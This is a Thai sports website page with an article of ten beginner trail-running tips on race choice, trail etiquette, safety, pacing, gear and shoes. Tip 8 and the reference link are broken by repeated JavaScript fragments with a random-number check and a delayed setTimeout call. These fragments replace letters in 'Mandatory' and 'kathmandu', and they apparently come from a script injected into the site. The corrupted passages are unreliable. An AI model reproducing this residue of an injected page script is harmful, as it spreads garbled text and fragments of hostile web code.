• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

10 เทคนิคเอาตัวรอดแบบง่ายๆ สำหรับมือใหม่หัดวิ่งเทรล

kan by kan
29 April 2019
in Running Tips
0
10 เทคนิคเอาตัวรอดแบบง่ายๆ สำหรับมือใหม่หัดวิ่งเทรล
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เป็นสัญญาที่รู้กัน เมื่อใกล้หน้าฝนเข้ามา ฤดูการแข่งขันวิ่งเทรลก็จะเริ่มเปิดทำการ สำหรับนักวิ่งถนนทางเรียบ (Road Running) ที่ตัดสินใจเข้าสู่วงการวิ่งทางวิบากหรือวิ่งเทรล (Trail Running) เรามี 10 วิธีการเตรียมตัวและการเอาตัวรอดในสนามแข่งขันเทรลมาฝากกัน

10 เทคนิคเอาตัวรอดแบบง่ายๆ สำหรับมือใหม่หัดวิ่งเทรล

1. เลือกสนามเปิดตัวให้ดี สำหรับนักวิ่งเทรลมือใหม่ กรุณาเลือกงานวิ่งเทรลที่มีระดับความยากต่ำสุดไว้ก่อน เพราะสนามวิ่งเทรลในแต่ละที่จะมีความยากลำบากต่างกัน เป็นเอกลักษณ์ของสนาม ไม่เป็นทางเรียบตลอดเหมือนวิ่งถนนในเมือง ทางวิ่งเทรลจะมีทั้งทางลูกรัง ทางวิ่งไต่เขา ทางวิ่งลงน้ำหรือจะวิ่งฝ่าเข้าไปในดงไผ่ก็มี

นักวิ่งสามารถติดต่อสอบถามผู้จัดทางเพจได้ก่อนเพื่อขอข้อมูล หรือบางสนามอย่าง เขาประทับช้างเทรลก็มีการบอกกล่าวว่า เป็น “เทรลอนุบาล” นั้นคือสนามไม่ได้ออกแบบมาให้ยาก ให้ทุกคนสามารถเข้าถึงได้ง่าย หรือเราสามารถฟังเสียงจากกลุ่มนักวิ่งที่พูดถึงสนามแข่งก็ได้ หรือง่ายสุดก็สามารถสังเกตกราฟแสดงความชันของทางแข่งขัน สนามที่ไม่ยากเกินไป ความชันจะมีน้อย จะเหมาะสำหรับมือใหม่

2. เป็นการวิ่งที่มีความรับผิดชอบมากขึ้น เพราะป่าก็เหมือนบ้านหลังหนึ่ง จะเข้าจะออกกรุณาทำตัวให้มีมารยาทและเคารพเจ้าของสถานที่ด้วย นั้นคือ จงเก็บขยะไว้กับตัวเองและทิ้ง ณ จุดที่จัดเตรียมไว้ให้เท่านั้น มันไม่มีใครจะวิ่งไปตามเส้นทางเพื่อเก็บขยะให้เราย้อนหลังนะครับ  

3. วิ่งบนเส้นทางที่ได้เตรียมไว้ให้ การวิ่งออกนอกเส้นทางจะเป็นการทำลายธรรมชาติอย่างไว้รู้ตัว เพราะป่าค่อนข้างมีระบบนิเวศที่อ่อนไหว มีทั้งขนาดใหญ่และเล็กจนเรามองไม่เห็นซ่อนตัวไว้อยู่ การวิ่งนอกเหนือเส้นทางจะเหยียบย้ำระบบนิเวศขนาดเล็กๆ ที่คุณมองไม่เห็นได้เช่นกัน

4. ปลอดภัยไว้ก่อน นอกจากการวิ่งบนเส้นทางที่เตรียมไว้ให้ จะช่วยป้องกันระบบนิเวศแล้ว มันยังช่วยป้องกันคุณจากอันตรายอื่นๆ ด้วย อย่างเช่น อันตรายจากสัตว์มีพิษ หรือสัตว์น้อยใหญ่ที่อยู่นอกเส้นทาง และช่วยป้องกันคุณหลงทาง

5. ต้องติดต่อสื่อสารได้ตลอดเวลา นั้นคือ กรุณาติดโทรศัพท์มือถือไว้ตลอดเวลา และติด PowerBank ไว้ด้วย อาจจะมีการโหลดแผนที่สนามเก็บไว้หรือเก็บไว้ในนาฬิกาวิ่งก็ได้ ในกรณีเหตุฉุกเฉินจะสามารถติดต่อได้ทันท่วงที

6. สังเกตทางวิ่งให้ดี มีสมาธิจดจอกับเส้นทางวิ่งเสมอ เพราะช่วงเวลาที่สมาธิหลุด เรามักจะเกิดอุบัติเหตุเสมอ ด้วยเหตุที่สภาพพื้นผิวไม่มั่นคง มีทางต่างระดับ มีหินกรวย มีหญ้าเศษกิ่งไม้ ทางขึ้นลงเป็นระยะ นักวิ่งต้องมองเส้นทางวิ่งล่วงหน้าและจินตนาการเส้นทางวิ่งตัวเองไว้เสมอว่าจะไปในทางไหน ลงเท้าแล้วพื้นมั่นคงไหม จะวิ่งเร็วหรือเบา หรือต้องเดินก็ต้องมีสมาธิประเมินสถานการณ์ทุกๆ วินาทีเสมอ

7. วิ่งให้ช้าลงซอยเท้าให้มากขึ้น เพราะการวิ่งเทรลจะใช้พลังงานมากกว่าการวิ่งทางเรียบ โดยเฉพาะจังหวะที่ต้องขึ้นเขาหรือข้ามสิ่งกีดขวาง ซึ่งทำให้ pace ขอเราช้าลง

จงให้ความรู้สึกแทนที่จะใช้ความเร็ว แม้ออกแรงวิ่งเท่ากับทางเรียบแต่ความเร็วจะต่ำกว่าก็เป็นเรื่องปกติ โฟกัสที่ความรู้สึกให้ออกแรง เท่ากับทางเรียบแล้วประคองไปเรื่อยๆ หากเหนื่อยก็ลดความเร็ว ซอยเท้าระยะสั้นๆ เพื่อเก็บพลังงานไว้

นอกจากนี้เราควรให้ความสำคัญกับเวลามากกว่าระยะทาง อย่าถามว่าวิ่งไปกี่กิโลเมตรแล้ว จงสังเกตเวลาที่ใช้ไปแทน การวิ่งเทรลต้องปรับเปลี่ยน Mindset พอสมควร เพราะระยะทางเทรล 10K จะวิ่งจบเร็วเหมือนทางเรียบ 10K ไม่ได้ ให้เราใช้เวลาเป็นตัวชี้กำหนด ทั้งในเรื่อการเติมพลังงาน การดื่มน้ำและเวลา cut-off   

8. เลือกอุปกรณ์ให้เข้ากับสนามแข่งขัน สามารถดูได้จาก Mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatory gear list หรืออุปกรณ์บังคับที่ทางผู้จัดระบุมา อาจจะมี ไฟฟฉาย เป้น้ำ ชุดยาขนาดเล็กและอาหารพกพา โดยแต่ละระยะแข่งขันจะมีอุปกรณ์บังคับไม่เท่ากัน อุปกรณ์ที่สำคัญสามารถใช้งานได้ตลาดคือ เป้น้ำ แนะนำว่าขนาดหนึ่งลิตรขึ้นไป

9. เลือกใช้รองเท้าวิ่งเทรลเท่านั้น แต่ในระยะแข่งขันวิ่งเทรล 10K บางพื้นที่ยังสามารถใช้รองเท้าวิ่งทางเรียบได้ แต่ดีที่สุดคือรองเท้าวิ่งเทรล เพราะจะสามารถยึดเกาะพื้นผิวได้ดี ลงเท้าอย่างมั่นใจและมีโครงสร้างที่แข็งแรง ช่วยป้องกันเศษไม้เศษหินทิ่มแทงได้

10. สำหรับมือใหม่ การวิ่งเทรลควรเกาะกลุ่มกันไป หรือถ้ามีทีมวิ่งอยู่แล้วก็จะยิ่งดี จะได้ช่วยเหลือซึ่งกันระหว่างทาง กรณีที่เกิดอาการบาดเจ็บให้หยุด ทำการปฐมพยาบาล ถ้าวิ่งต่อได้ให้เช็คสภาพอีกทีที่ checkpoint หรือโทรเรียกหน่อยพยาบาลหรือสามารถรอหน่วย sweeper ที่ออกวิ่งรั้นท้ายมาช่วยเราก็ได้

ก่อนจากกัน สำหรับการวิ่งเทรลของมือใหม่ จงมีความอดทน อย่าใจร้อนรีบเร่งทำเวลา เพราะจะทำให้พลังงานคุณหมดได้ก่อนถึงเส้นชัย จงให้ความสำคัญกับการออกแรงมากกว่าความเร็ว ประคองการออกแรงให้คงที่ และอย่าลืมดื่มน้ำและ refuel กลับเป็นระยะๆ คุณจะใช้เวลาวิ่งเทรลมากกว่าหนึ่งชั่วโมงแน่นอน

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andu.com.au/summit-journal/expert-advice/20-trail-running-tips-for-beginners?fbclid=IwAR2f-WY3fYY_PhCQQsMCp0sbsWdA1etQj-OJ__nEGDOv80Gu0d7FD8pyl4U”>www.kathmandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andu.com.au              

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.